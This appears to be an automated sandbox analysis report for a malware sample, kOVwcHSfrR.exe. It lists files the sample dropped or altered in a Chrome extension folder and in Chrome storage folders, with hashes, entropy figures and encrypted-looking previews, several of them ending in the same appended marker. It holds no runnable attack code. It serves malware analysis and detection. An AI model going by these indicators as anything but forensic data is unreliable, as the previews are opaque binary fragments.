...K..j...H\|.{Y..^..W.....6..:.....^'..,.F.X`.7L.AL...}(.....I....s.D...p..T...M.{D...?.A../.".v.J.M...1.W..6..}.0a....4(\|}.....ep....4n....D7XL6...n....sM..H.6Q...h.&w..~...7f.\...]Oo.".JH..?....].b-.....T1._A..;?.[./Kc...q.7'.b.....l.a>.\.T.q.`}..R.q..'.....'..TK..Q.....v->.?..IZp.%gc.......-..........BH......A....TV..bADJ...z......_$ck...._.....U.......:.Za.xh4%..:.8E..R..w..oR....}k....6.[.f.g.d....K.P.j...x$...Y.....P...........7G.H..".a"..8v..fh7...-...g..2r.S.'......I.....vd...6.1vI.4.g*8.(..=.>.}.m.....,?p.Pe.(..h...[....u...!7=..sy.b.=Bp.a...X"k.,..c.j.>.d.j\..7.E/...q2Y...q.gX..%.....\|...n

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	261650
Entropy (8bit):	7.486859671354352
Encrypted:	false
SSDEEP:	6144:1HKVxDEIVckDVpSgLXZyisuGl9e8SWDq0x9FNNsZ9Dd/cew:9KVxQIJDVp9Ai9G9e8SWWqFIBde
MD5:	C72092D3FEE702A2BFAA34364D837661
SHA1:	D25C9EE2195632E5E6AB5F6553BD131805D12DE6
SHA-256:	C72568EA902A5D99ACC0CCD234AA20CB1050A99BAC51723BA49A3ED8FC43B401
SHA-512:	95B01864FA8D1DF04B40334E1DD4149CF8DFD49CDB2EF1D13658EF44C6E3AEFA16D35FC5A446464AF66C6AC3886A132082D06BDD7ED2711EFD3AC9B341153BED
Malicious:	false
Preview:	/.. Q3Q......2.4.=........H...c.....}...m.....7v.....&...[.>n\|m.i...a...I...M........<....0.......?R..xQQ.:......&$.#YD.F...n..&\....?L.BNs......_a8;.v......3o...'.i3...j./.s..@,-h1..u...f!pL...f.Y8).......-.......!tP...MT..)9..f.h....$8............]....g`".+..MOQ.L.:^..Z..).AY.W...ag.]..h.e.a.f\dv.......Dh...L.W...3..y....X.-..=..P.,.0.n..K.]W...p.b=.>.!..=.... ..1Nu...[=.G7.an...N...$Ku.....\|Z9.d....8.e..qm)U.......w..VeJn&&...~....O=K.....So..Ga.r..V..Y...f.Ll....-\|.,..5.$.b.D}.p5..^.=-.QUv.......h....'...Q52Bd...._j.....[N\...C....Z.Q......D6..I....6E._0/G.....<....I..b<.GSY"..f@.@....M..a).&I.R.B.Q6.A..j\-.L.]o.M.C.,..-.....M.(=..s...OL......_...(.!.BJ...}...a/S.Ax...gVVD...1...Q..I.nm.^.R..8..&.C.{..R..........R..5xl.b...dH....n.y.2Tr{.b..k.,F $3(.w.C...q.N#AR....6.....c..Gw@W....L+.H.w...f[.^8..Ke.@g....{..U._..%eo.Lb.DCo!....'=...q......6~e..8....t@"R.q..d#...TU....y~...9~e.L.....&\...M9.U..BtXIZ.`..n.........\|.....&..l.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\craw_window.css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.912059095120405
Encrypted:	false
SSDEEP:	48:bSDPQ1DxSId5mwSuKKrcc6rY5vlkkvw0QZJRYR3zek6MAyJ2yD:eixS1puKKYc6c5vlkkv/Qczek6MAyMa
MD5:	FC906B9F78F90693ECA76DC7CB1FE6CC
SHA1:	85FEA1BB77DFC876849977EC85676417EA989473
SHA-256:	9DEC25636193A1A4601A82DF6A963E5A7C6E58444F1460F08990D05C122D9C55
SHA-512:	0B220D013D2B323C338665BB904F2F3F1C2F11CAC05D9E9BF959AA4CD92C7250718C2B6C835B12AD1BCD3C875AD902E76F1E76654E8BAEE6A39FCA4975FD3704
Malicious:	false
Preview:	html,....f.e.W..TQ.S...GQ.5......}.D\...vZF.=..w-.........~....+..E.+..5@...P.$..w...T...sQX..c%...w..P!.^.......~....}d.HL._W...h......%.(I...Vn.UwF?t..K....7.p...7..?..Q;J.m.....V.%.4...V..s...22#<..)..?EUk.$.A...oX..OE..M!o.....3{.X.{?...H5A'd. .....2..[DC.....o&.^..px..XU...O......mOx..X.x5..PB..}-.........j.x...QWSo..g.\..g.y.d....t.=...Mt.-.v......Kj...g>..M.....g.._.!7....1...M..L.!.O..Q..T..=..+eY.mt..^.dJ...W.H.`.......+..5n.....0..\|.....(...NS...&...>...q..Eo""...Cx.........f.o.[.y...)q.....v.o.O~........d3....;mj.D.V5..S9.....0.]R...o.s.W.J.M.@x.#Kb.^.\.e...%..Z..f........&......^...N....f."..-6`.1..}..zt,_...4. .qMz.F..H}q8.K..Ub4.$6.<].....;..>..x..o.%. .7.....]..Pr."..3..."n..c.!...."z.)T..]3S.;C.v.q..i.x..\|.S..J.Fy.....].9!.fg.!...J...n..y!..2..H.$..m.../..d8.'..Z.R..Q.-.].Q9..\|y...o3.>.Py.\|...z..../.yx..1..0p_V.G.@{...>d.{z..Cr..hq.d\7...#.F..P.=.........Z.L.r....@..H...,~,;..2.....#..........qQ..Ll..kaU...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\craw_window.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.819411817249556
Encrypted:	false
SSDEEP:	24:0Bco12TLGTlqAH7yAK9i5kdJoN/VHxyTu1g715EcLuRFIknceo7+pw1bD:0Bc623d869oG2N9ROZ7IcGIknceo7+pa
MD5:	735034F6FE81154D249BA2B69E9D651E
SHA1:	F90D5B7E933B11A5FC5A61E5EB8F4112C545AF3B
SHA-256:	609691B32A69EA8F8F49E739A7E1C7459377CADA212A16672221998CEEAD5C17
SHA-512:	216BACB2F58D48BCC82C73D3D3EAB6A2EBD3FD62AF51E925980AE1CAE1E7983F489AB3114AA65D46020280E9B2F0F03F59DD8A687BEF873DB5D0CAF0B5C3563B
Malicious:	false
Preview:	<!DOC.......#.g.....(......'?.z...Kz.N.......n.u../p..DeON.....jI...{.0.p...sq.[..t.;....b.EZ.... ...+..y...... ...g:....FZO)..u..Jr.$......q.c.x.....r..%=x......]W..V.i....!9-....d.:.#[%]..?Uy..>...-..{h.Sh...w..\{...y^d...g\l....V.........s....%O....=$...1MEZ..1.Z..T..s.PN...,]...3..........El5.".s.N-5....s.^......eI..f..w..p{O.._p..9tr..@......."...n..z.e1km{..\|~..(..f...}k=..I..BL.s$...D.VD.c.....d.#..........!..M...MXj8.T.F..{.[F..Q.L.9......s....+N..2.......p2.B\|<.\8.Z._~.RZ..z.b....{.B.m.ep.\|o..&F.......\|..<@a.........../H.B..IZ{...J..m."...&.......l..(D...0x2.X...]..v...Z.....6xW.`....bk..-..$..4.N<..Xt].;7.....mgT.K...c6.)......I..30..r.P(}.F....5.u.\........4....i.k....4..&...... .s!n.J9....u..z\V...4...b..:.PK....\|...Q..HQ..Q.c..p=8.C.....4..}....l,.!.......C<EI.L.....d(.9.m......]........%..9vw........3"..:b.......mK......&..3...0O...............#......4..:6S/...([.^.......e.m}.C.....(..=@.Y...$.h9_..)!7...0...#...,.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	GIF image data 23521 x 32004
Category:	dropped
Size (bytes):	70698
Entropy (8bit):	7.997438882348847
Encrypted:	true
SSDEEP:	1536:Wu7tm5SDNMIjdu71EVoe882NhGfohqqv37MaBAMDFw/FF:y5SWUo7k7v3ogINDFuF
MD5:	4A854E45F486516AA90EBBFC3CD83189
SHA1:	070D733A393E306DFBE6ECA8BCB09A8D78899966
SHA-256:	1C6F43E3548E5715ED0164AB20253AB8ACD45C414AE56575C87856F0221EA4E9
SHA-512:	6A34F1086FA258281A18981EF72F2DFA621F0CCEB0B519D33BEED4EDF84CD94DFD50591D672DF4F873B059ADF98093612D0A147D2A676A1EE210D5E17A444EA9
Malicious:	true
Preview:	GIF89..[.}.......[Y......Y..eI`=LJm...D....i.7N........<h..VuNG_.:t..X1.....xS.......&.F...9..{.z...`$.m....Q>#.i\.................0.=?..Mn...........A...?..r.lG(....t....{1..\:..B.....t<.r\...)#....x\|.;..Q..O.b!2J......O...=wH....@...g.r....6(..7...T.....P'.R.../..a./.T....P.1y\...{w...c6...........@.P[x.W-...m.G.g..J.o....7..0...a..A.Q0O9..K.2..g...V..Q=...?.t.&.......O..4...1.Ux.%.ZT._uzHAw...V..p..1....B..amp>..~+8._...,....0......Gg.k.......P."..'...y ...T.sI..L.w...E..O.Q.f.C...s.h.\|Y.A.S.:x.+.>,.s].eB"=.......c....d.U{..}A-4f.....bI.I...;.Bq...;_.J.W.cv..c..wl.....2+.^.,.\...c.f.I.`..W..Q.y...! ..B$.....$..I.]B..7.x.a.i.B.#..U..yA.b^s..~.n.N.M..d!.....#....x.G.....A.rQ.:.^K..q....]W...@.......C...O....'.R...4.`..p$Uw.....e.....i.K...q.*.j..F..jg>%..\|%.y........I.v.>v(...U..}.C...,4....n......].0.Rw....../VZ..(..A.."0..H.y.N..nZo:.....Yun.o.P..x..NK..Mt..@eD.f[..^S.....'6.v..{X..s7...O....+..d.f........%.`.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4698
Entropy (8bit):	7.958286551907693
Encrypted:	false
SSDEEP:	96:ERetROmxsqAvITPJB1sTK18cIOGIxvcCoHFUBhrlpsomJZkyzd3xu0a:/TiAze1ovcCowRp8JCwd4
MD5:	DC3B3808EEEA2CFED8960F34F2C50C78
SHA1:	C9373A33481CA5FE8B1EC5AEFEFC9A9610C9CD11
SHA-256:	C9D4022A2EB39D15C840B412FDFDA5DFF1980BFF8CCF0F1DFF46DC4EFD356B3C
SHA-512:	5F1C1166625F1456D061D5274DE6DAA94E226B147B41CA6E8707A9FA2A8260086C567A75D69764B7E6C2C73A8BB7083F4417031DC7E2D688EAB0782B68292AFF
Malicious:	false
Preview:	.PNG.9h...8sO.s......\|...Q.k#..tq....: %.!.$...h......p...V0;C.....F.].o.K.........s@.m.D... .G..X7D..m.>..........T.`<I.W...u...}{.f...dJ...w#.W_k......0....:o.f.E.GW.\|.........g......=.....>^..}..$...E..p.K..L...dUyO}..F.r.27...~......t....5...A.H.T.a.M.m...i...... w@vM..3.#.}K~......I.....u..<....>l....>$......j.k.Y..L.......G..z.,tPl/....9C...9...,m.Lpm..{..TUT^.Y...%.......f]-i....a.K-.{R..z80..<....^.E..O.a..:............&....^..j....W..x...a)A..U...i......d...^.@yX.w.`5..p...Br...I...Bf.UY... P.wj.T.v`4........u...J...iIw........L...+Mf.I.....(@...8:.M.1......U.A....&...i...Z;..].J....1.]...k.o\.\|...#j..T.R.Q.eK...)2.a.......m.......J.......u.... jw\.....Wa....0..w.....A1C.B.\.>.Gr..........k..k.........(C...q.m..z..Q.."w.<..v%0.(y....M.&.m.y.>.G ..~n........U..U..J....L.....:F!-...`...K(.b.kU.DiU.J.;..#.2..yD...[ ...)4...D.".....a...5.)..'.qq...m.sB#..'..u....u!B.N.....+..>......~..j.........0r.......<xl..B.O...z... JT.PP..O

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	892
Entropy (8bit):	7.78364363732352
Encrypted:	false
SSDEEP:	24:f913YMDVgYYIfrVe40FPhy+HbHyBR+F/w1bD:fgMaYYIfg401ZyBR+pyD
MD5:	F74772483D148D476A3287B9680FF31A
SHA1:	023A86429E21B2EC18ED829178F132A9014F35EB
SHA-256:	86E64DE488A9392EF259FC99796E6D33914305BCB96AB812ECF410B5C03190D1
SHA-512:	775289D33439F437156A7857AED80EF28B0FA8D8D9B41C071F3F3ADC410D3C8D06D89B3DE1A002443F0FE1D8EE8361FBDCABD3F04FF21BC6CA120F2FDC04D50D
Malicious:	false
Preview:	.PNG.........Q<qe-sT..[L[....u>.Od......A!...?x ... ..b..;....x'a...."3..<.>\.~.Om..c..S+s.l06TF'\|.."....Q..Q.8..c..j..;....U..Q.K...'......np.U...%.....$......).r...7.....b..3.Y^.....K.p.m..6.FxHn..^..[E....2.9$S..&..Ti1.....F.G..\|40......v..u ......v.z...%....<K..U.F;l5.9.<...U....@q...i.@..(D..O..4.@........";B.a.n.?..Z#..x.{.YA(.......9@.Z&.?%.D..C...)...s...p.=...%.Y.V...1..bsr..z.Ki. ...A?1)sA.~.Bh.'...a.A.....$1:.[..[.o%...y.'.....W....fo.6..E.....E>.F..{;...N?.[..H.'.h.`..6Z...-=p..^KX.0...y.j....2...d....$....m.....k...j.....bW..c./ches.86....kU...=...{D.!.zBq@&.....g..1..n..G..]y.m...:NA....t...`...9..].HTi.\|L...,.(y.7.a.\|z.U..z...f..Z.....Y....jc....\n......}....-..R..K...W..^.....@k.7sZ........Y.{]RX.u"I...Mx.}H.=}.R...........jp./.[?..U..3.d.b#..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.471238386876273
Encrypted:	false
SSDEEP:	12:kJJPEyfkYCyHWa7WbbzCFE0xv3+fexOI8sNRzVorsoqw1cii9a:kJJPIVyHD7iEE01xCQRzVE8w1bD
MD5:	75FD4CDC91A0CC48FF7168CC7656837A
SHA1:	17723B73D42B6FE5D75451833BB2E3DB1CFEB93C
SHA-256:	EEFB3DEDD6D9E27B7E6BF79F33C57973A590ADA24FDD64E3205C9E1BFC35D3D9
SHA-512:	E1151ED18ED32F746FCDDBD24286145E459A26EC04D11E60D63D0980E73649C20F2ABCDB5B82BC2360C716C417F0DFB4A0D590B8F2934C6099DF48669B3E9550
Malicious:	false
Preview:	.PNG.pG.......U3......N..L..h.....:.....8...d+..@....!AeJgO....'..N......1.`@Y.e.Z[\|.Y.`J...4e.<..y.{.".D^.]...2...+.A...<@L\|...r...6.J....0\|.....0...J%..o.an.i.C.`.G..A..IS@..:....,.X...%y`........Z..8E..K.....}}.O.P.82-.n..g.E&...s...c.....@.c`j..._...DV..I.....!.#..19O....k..e)S,w..D.w.=...@L]..aA....X&.$:....o...e..K...RA.....M+Uo?L...J.u..-.7........%s/.........0U-_...O..qH........`_.j...c..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.549889505453096
Encrypted:	false
SSDEEP:	12:AWvMEjfU65tdpfVfeAgNR3vXDv2aAQeSnEGe7KOlNrWSx8TQroqw1cii9a:AfmfUItdpFeAAvkQeSWxx8TCw1bD
MD5:	143416AF50E770D11D14599D61A47BB8
SHA1:	3F45838988002F57A87947698309367601BC2282
SHA-256:	109220D2AEB7F0B77503E829F87E453FFF4EB969DBE18D7FF8074BD29D62A297
SHA-512:	2DE25455766675A5A9852444B9C2E0B847132EA5D60FE683C4214315F280E8D3EC32CE48896071B81F3E79068C927A9515C99422176D1FE1858EBEC2F8BE5602
Malicious:	false
Preview:	.PNG..4..UD#.Y"..8..52...v.s.....E J..sv..Pk..........$.D...{.2.d..}.E.5[R....`........0....98...B.S..`5.....Zdc)..O...6{MLM..n.fL..o.qr{..N.2Z01..u.[v...E ..#..U@GFQcH...G...........g........B.)..J...-}.y....t.A..d\|........9B.C.p7y..].........."I.J.'..\$^..j6p...V.y..]..m..k............c7.q.<.ye....qV.%_..Q~".. 6>p...>2.W./+v.v6...t.Hi..."O.\.<+.V.....k.y....'Z.....Z..v... !3.....{YO.MZJ~k$.i.RTb.B+......b....4'...F.uy;".........xN.\=...nP.&.2.l.3...D....>\|..L....XU....j.&...'....:TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.485772831921593
Encrypted:	false
SSDEEP:	12:2gJ76eGp2zFQjJPMOaxuGNJEjmTbmTifnMxNDM/LBoqw1cii9a:2gJ2TOyyhxuJjksTN4tw1bD
MD5:	2BE721F219061FD98F86424D203FCDF6
SHA1:	19D1A827AB68B5F5DBE76A5878DFA0CA43EADEA4
SHA-256:	308FA731287FC957ECE25707884CA83D3B08CAC6959B16E895A3B99C7C3B64BC
SHA-512:	612D01D9198CC7B01ED0D3BB9CEE6A020854271A7BB8D46ABA47F8AC7FAA17330298F631A7F3D763A9C9D3F6EBDC98CB82B42314E0A4C9E88BFE90DD77052F0B
Malicious:	false
Preview:	.PNG.V..yk..*.......G.n...yO.....^.K.h.L4zcEK..........w1.~6}Z.T..I..OC.../4.3E:....FB.......wQ.(\|c.......#I...j..A....V!.(...6L.,n.k{...V.Y..,:.g"........a.<HQ.abe..Z.C..I.^^..}.&.......i~"'t....E~td....G...]%.oXL/R\|.:~T,.....-_.e...[........R....zT..+...t.N...;...rL.rjS.....?.`U.~}F..-....\HZ..`.........-y.....`9'-..x..q".lV..:.i]V.E&.....5...66..?.0...4.......>..n.gi...k0.....n........y...-TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.539142066905397
Encrypted:	false
SSDEEP:	12:GtS5jcXZH32rnxSwPEmQPZec7SDCSGwR6TqTvSgoqw1cii9a:IS5jkZH32UvmQBz7+tGOvTvSAw1bD
MD5:	5E6DED86F0350C0D14EDEC9B9A91663B
SHA1:	B7317CBC2121A191DA31987110BD03E436421D2B
SHA-256:	B3E62BA85D1B04AFE9AAFA186F6CCB0E1F612D5843075EBD0949587DCF65989A
SHA-512:	6A506259D3E0F81FBFA71FB981E4C395EA7E679BA7512B9EC95274644EB804888A3D190FB4358642F6184175E6EB95E79410F2493C36B4E6ABA6C0478FFE66E8
Malicious:	false
Preview:	.PNG....s.p..~.K>....pz.9..It).....f...X,..........VA.$.k.T..(.O.+.......@..B.p.......V(.......P..fm.......H..oJ..d:-..+.Z..F....v%...#......qN\!.....a.A&l@.......\|-...{..5...N.......x,t.)...V.Vc.a:..'.A.. ...%.....lvGP...":......auZ..v..%..8d...zo\y../mp.<..3........-... .)...hgc.XK.G..8...OR....f...eO.*...A...,.....cn.#d...Q..f..Tm`..L..c...J..i.y.`........r.){b.W!-..I/[.\+.+..!}=.....TTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.493523863602924
Encrypted:	false
SSDEEP:	12:2WCXOq0VHBLgtyT3yzOirel2GUr4soqw1cii9a:4EVRdiylrUM8w1bD
MD5:	7227B0EA834D88B8B3114F67729FE5F8
SHA1:	41B0184C3F23B0616CDAAC625F20D6C12A88CBB4
SHA-256:	47283EDA64F7C081538107E1ACF3236446D569A5816BC9BC888F8185C25A5428
SHA-512:	6C3D5154B21D61EA21E19B1A38E5DE0E1D9B5F4F7A98EBA6E725D76CA26D22623F2B88B477AF5DB2658C8521C205090F9789BE95784C66C8FF2838AD8265E9E3
Malicious:	false
Preview:	.PNG............ g.3m.......1Ae-..r'T.L._.s..Wlt.sd.?...!....Z.....EJ..O#F{.O...5.Nsi...h..th....*.P.... ..../5.._@...3..K........Fk.[..X..5...2@i.;L<.w3..].\|_...\|n.o..z.}..@.......-?;V.....Y..b.<>j...%]J.....D.P..d.qtq.g....\|.......h..9.;p.\.8m6h.......Y...yC.L...@..+.............".......Lh.n.......fB..p.%)..A..rZ./...Rp\..3^z.9c.,v.g3.M.9....Y.1 .-..F...<Z!ZF..........R..%.QI....moq....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	7.866858289950123
Encrypted:	false
SSDEEP:	24:pZFEAXru5ollVTLef0Xbjoit4qYyIYuAHCzcF2EwaQ4cY4e6oN8iF20ZGJd6W8ba:KA65AVTmojDQziwcFLAjUYnHIyD
MD5:	00B577D94B5892EF54119D8EDC6387B4
SHA1:	7F309CD57291E5D2B015EA70487CDABC3987BDA5
SHA-256:	A32F3CEA9C822BD1B09F2A95D0DAD57D6BF96C01904FBD906AB31BD6BAEB2F84
SHA-512:	B55EC7DFD41679F0FB9BA3B10E955101522D3DAAAF36B8A0EA958683CB109F3E8F4F67672418635962B6055B936ED4225403269641951C2EEFFEEE45BB5C15A4
Malicious:	false
Preview:	{.. ...vc~:...d_..W.....h^..JRC..OE...i.\....9.......f...@.."YL`{H.....6?..+m-...D..I.<.g}..i.a.)gK....W.s.y...G..hC&.E.....j..p..E.]#....D\A.q....zt..@"..Yx.........P.[...Z..pz.w.7He...Ds.>....,.8 0.bO[..QA..:ls.m6U.n..p...AN..LCZ+&...@."i..A...h...U.e......r..~.......a.g..%..X.KI...0..F...q..7..q..J.....pRR~By.D.........O.&.OS\...u.wE..ISBt...P...D..hd..R.Rv. :R.....Iww..PC....3r.8'.N.}.=.7$..H.f.).5.......0.m..F]t1Bmv*.'.{..@...u=..$.m.Ds.... ...h.m.Z...m..$.\|Q.,E...f.q..&'b...g7.rU..{...L.S..D.O../.MVm....._.0,.1.......Q.H.U5..@....."..s....41jx..n&"N%......P...dm..$z.c.FK#.X...#..x\|L........].g.C.e28.kb.\.........`......T,....O.m..C..t.K..0v..i...3KX}#.....Y.L...A..O...].G......p...........pb.y.u..:...c.h.Z....Js..5..._.5p.(.@....\...,v.g.L...').I.....O.ov.h.#.4/H.Y...N/........JUO....2.1..<...2.UgMZ8G.2...".9..Pkf.[.J`..;._bN.d=.....m7.3..7..#...9.n.7s6\[.....qv.X...Zib.CB..7.t...+...p....O..._>}M...-.....Y ...Sj.Z2."V..O..0...,

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	623
Entropy (8bit):	7.586969696807667
Encrypted:	false
SSDEEP:	12:kxNt59g5kjNJWHi2py40eEbFeudAJXT/oFKXx8OHoqw1cii9a:gtNBJWbpy40Zbo9T/ss8cw1bD
MD5:	75B07598B60E1AEC3FD509FC8D15C2E2
SHA1:	BE57B2B4D8020A3DB08726424C43EFB9405CCFB0
SHA-256:	A0A3A82FE9890DE2BD6BF710712A0AB21F0F713F1F571EF9E4442B79A285F491
SHA-512:	FC975C64D4716E6ED2D9A1AFBD9DD373CBB6FE016205CBF1AA2192889DDD3C9690530CC5CA23B6D7BC606E18B29730F8DA00F7D9D3896D70E065E9ACF7B05DB0
Malicious:	false
Preview:	2023/n..%z[.....P...3..=!s.m..-8.n.f.&...\.dgaov.&..-9.......@..Z.3k.j.(.....^(.G;z.o..h..\|.Ze..C.....ce..A.x...i...AK..D.j56..".e.B..c.. .......HT.T..,...$.K.......-.{@.....N1.^...C.$.Pdk.........H....rJ.z....b..y..,.....Y."..3..i#\WsN..x.%..7)..:.m.ED...#....n........\.9.\.... M.....a. ..?....HU.......v_.v.y.(.Y#.o........L..Ei..<..v...p.d>..$ ....(.r..@}b...U.7`....q.[...H<.....\|9.&...ZU......\|Sf..........;B.g*7.4.[.A.O........2#`.Ixa=].l>Cal.\|..&._jl.HV.s.._!n...:.gQ'f.i...v.......N.]...>.....M.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	509
Entropy (8bit):	7.543745448684439
Encrypted:	false
SSDEEP:	12:SyAMEJ/71h31MbqGCHuF+H3VVTyudueQbB2CtBcymrQEiST9soqw1cii9a:EMEV7r31QqGMuF+XVVe5HtjmctSR8w1X
MD5:	26928B398D01410A8DC657134256D941
SHA1:	557FE34DFD8A402310F817F879DF8664B9304768
SHA-256:	151E5D9E74C74D3619C53BB1F489A6787CAEC064B4C17F1877B364F256FD87A0
SHA-512:	4EC101377E08BDE12070C04DDBC29905CABDBAC14ED906ED7A73FC395B399914C5EDE98D95E75DCCB2E944B9429A9E0CEF23A4DC9C437DC577FE92D04DC1177A
Malicious:	false
Preview:	...#.v...eB..\$A.U.}.W .... ..O....Q_.e.Z.j.g..d.....i..........B.b.c..:q.p.l...~P...Q...K9....k@......[....+O{..zT.;......+/.Bu.j."{@.h+...TK...A.......E.IzKd..!..F...F......iZ@...g.71\|..Ya...?.+..w.b..{..2hI;.GnV..T.n.....Ggx..g..r...m=v.=.c...z_.....B.D?-....6..A3..h.j..sGq........."./......qJ..o..=.....e.{.....w..k. c.o.......~..3..)L.J........mw..x\|.....UEd.Tt..PS...[2.g...z9W?........9.H.to.....BTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	611
Entropy (8bit):	7.635347044923974
Encrypted:	false
SSDEEP:	12:kzjm894prcKinttfykwE2WnCjX7LMyQLJ+N/EPaKWLJ+NOCdoqw1cii9a:4jurJutqkwTWWLLuQ58NVw1bD
MD5:	974720183AC9621C0F1E0D4FD256EB72
SHA1:	264E86A10D52411ACFC9DBAFE1FE617CE5E147EA
SHA-256:	B44A30929580B7C2781F35485927EF9CABB2BE19D8BB3E5CF677C16268F88897
SHA-512:	502DB98A5373812121982693DF71F2848E823BB6F7A8301D8B702C656F64DC8621E30BC464B8C3E686AD88BB7D72219BCD0C32DAD84CB1DF68106F038E56BDB9
Malicious:	false
Preview:	2023/)..F..[..<A.(N....H..C..LX.F...". ...c....8.a.......^E..z...;x..D.7.:...=(... .9...g}J[.D.....A...U`Z@sf...........#.=,/..h.g3....s.......A...Y.L..,}......bRX...o.Ws..S./..8.i.-NL...&._....>....'..`.w?..#,..S}B.R..._...P..t.\|zYx.1...f%......-B,....6..y&..<...X.7.;.([..G..:g......1q.i6.A .9.....T..\|C...Z..z..+}.......H....AG..........flm.h....w.jj.....R1.+A..;....t.0.j...;...x....5L..;....*dz...3.gh.Q.....\|..]z..N..>.i.OCO..mx.j}\|..........-.9+.`6.\|..$....E....r.._"...K..Z...K;&@.Y... ...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.33637593728228
Encrypted:	false
SSDEEP:	6:qMzXvMDKmOHV5Ge9hXbO8ytM0WTvrlNEFH+P1iK4ottHowfw5XeWcii96Z:fzXEuzjGenhl0mvL+HCnFtHoqw1cii9a
MD5:	CFF6803D4859291639F6F3D6B8F5FFFE
SHA1:	5AA2D6CFE00B2FA1043F6952A0292ABA1B8B3835
SHA-256:	5D4327C03A141BFF4FE089F43241DD81240E422273878B0BC3711D371C396CB9
